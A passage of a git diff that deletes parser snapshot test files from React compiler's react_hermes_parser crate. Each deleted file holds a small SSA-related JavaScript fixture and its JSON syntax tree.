diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property.js.snap
deleted file mode 100644
index 10fe157d9ee1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property.js.snap
+++ /dev/null
@@ -1,213 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property.js
----
-Input:
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              48
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  51,
-                  54
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              },
-              "loc": null,
-              "range": [
-                51,
-                58
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              51,
-              59
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                69,
-                70
-              ]
-            },
-            "loc": null,
-            "range": [
-              62,
-              71
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          73
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        73
-      ],
-      "loc": null,
-      "range": [
-        0,
-        73
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    73
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign-in-rval.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign-in-rval.js.snap
deleted file mode 100644
index 7c3c335e66a9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign-in-rval.js.snap
+++ /dev/null
@@ -1,244 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-reassign-in-rval.js
----
-Input:
-// Forget should call the original x (x = foo()) to compute result
-function Component() {
-  let x = foo();
-  let result = x((x = bar()), 5);
-  return [result, x];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          76,
-          85
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    97
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      100,
-                      103
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    100,
-                    105
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  96,
-                  105
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              92,
-              106
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "result",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    113,
-                    119
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      123
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "AssignmentExpression",
-                      "operator": "=",
-                      "left": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          125,
-                          126
-                        ]
-                      },
-                      "right": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            129,
-                            132
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          129,
-                          134
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        125,
-                        134
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 5.0,
-                      "loc": null,
-                      "range": [
-                        137,
-                        138
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    122,
-                    139
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  113,
-                  139
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              109,
-              140
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "result",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    151,
-                    157
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    159,
-                    160
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                150,
-                161
-              ]
-            },
-            "loc": null,
-            "range": [
-              143,
-              162
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          88,
-          164
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        67,
-        164
-      ],
-      "loc": null,
-      "range": [
-        67,
-        164
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    67,
-    164
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign.js.snap
deleted file mode 100644
index 5f35dd0c2e8e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-reassign.js.snap
+++ /dev/null
@@ -1,264 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-reassign.js
----
-Input:
-function foo(a, b, c) {
-  let x = 0;
-  x = a;
-  x = b;
-  x = c;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              36
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  39,
-                  40
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  44
-                ]
-              },
-              "loc": null,
-              "range": [
-                39,
-                44
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              39,
-              45
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  52,
-                  53
-                ]
-              },
-              "loc": null,
-              "range": [
-                48,
-                53
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              48,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  61,
-                  62
-                ]
-              },
-              "loc": null,
-              "range": [
-                57,
-                62
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              63
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                73,
-                74
-              ]
-            },
-            "loc": null,
-            "range": [
-              66,
-              75
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          77
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        77
-      ],
-      "loc": null,
-      "range": [
-        0,
-        77
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    77
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction-with-mutation.js.snap
deleted file mode 100644
index b4545149c6cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction-with-mutation.js.snap
+++ /dev/null
@@ -1,518 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction-with-mutation.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  mut(x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  129,
-                  133
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            76,
-                            77
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        74,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              84,
-                              85
-                            ]
-                          },
-                          "value": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              87,
-                              89
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            84,
-                            89
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        82,
-                        91
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      74,
-                      91
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ArrayPattern",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            96,
-                            97
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        95,
-                        98
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "ArrayExpression",
-                          "elements": [],
-                          "loc": null,
-                          "range": [
-                            102,
-                            104
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        101,
-                        105
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      95,
-                      105
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          109
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          110,
-                          114
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        108,
-                        114
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            115,
-                            120
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            121,
-                            124
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          115,
-                          124
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      108,
-                      125
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  73,
-                  125
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                133
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              134
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mut",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  137,
-                  140
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    141,
-                    142
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                137,
-                143
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              137,
-              144
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                154,
-                155
-              ]
-            },
-            "loc": null,
-            "range": [
-              147,
-              156
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          158
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        158
-      ],
-      "loc": null,
-      "range": [
-        0,
-        158
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    158
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction.js.snap
deleted file mode 100644
index 7d19b0d247e3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-destruction.js.snap
+++ /dev/null
@@ -1,478 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-renaming-ternary-destruction.js
----
-Input:
-function foo(props) {
-  let x = [];
-  x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    32,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              35
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    44
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  38,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      45,
-                      50
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      54
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    45,
-                    54
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                55
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              38,
-              56
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    59,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "cond",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  59,
-                  69
-                ]
-              },
-              "alternate": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  129,
-                  133
-                ]
-              },
-              "consequent": {
-                "type": "SequenceExpression",
-                "expressions": [
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "value": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": true,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            76,
-                            77
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        74,
-                        79
-                      ]
-                    },
-                    "right": {
-                      "type": "ObjectExpression",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              84,
-                              85
-                            ]
-                          },
-                          "value": {
-                            "type": "ObjectExpression",
-                            "properties": [],
-                            "loc": null,
-                            "range": [
-                              87,
-                              89
-                            ]
-                          },
-                          "kind": "init",
-                          "method": false,
-                          "shorthand": false,
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            84,
-                            89
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        82,
-                        91
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      74,
-                      91
-                    ]
-                  },
-                  {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ArrayPattern",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            96,
-                            97
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        95,
-                        98
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "ArrayExpression",
-                          "elements": [],
-                          "loc": null,
-                          "range": [
-                            102,
-                            104
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        101,
-                        105
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      95,
-                      105
-                    ]
-                  },
-                  {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          108,
-                          109
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          110,
-                          114
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        108,
-                        114
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            115,
-                            120
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            121,
-                            124
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          115,
-                          124
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      108,
-                      125
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  73,
-                  125
-                ]
-              },
-              "loc": null,
-              "range": [
-                59,
-                133
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              59,
-              134
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                144,
-                145
-              ]
-            },
-            "loc": null,
-            "range": [
-              137,
-              146
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          148
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        148
-      ],
-      "loc": null,
-      "range": [
-        0,
-        148
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    148
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-with-mutation.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-with-mutation.js.snap
deleted file mode 100644
index d0a1e73e9e3d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-renaming-ternary-with-mutation.js.snap
+++ /dev/null
@@ -1,434 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
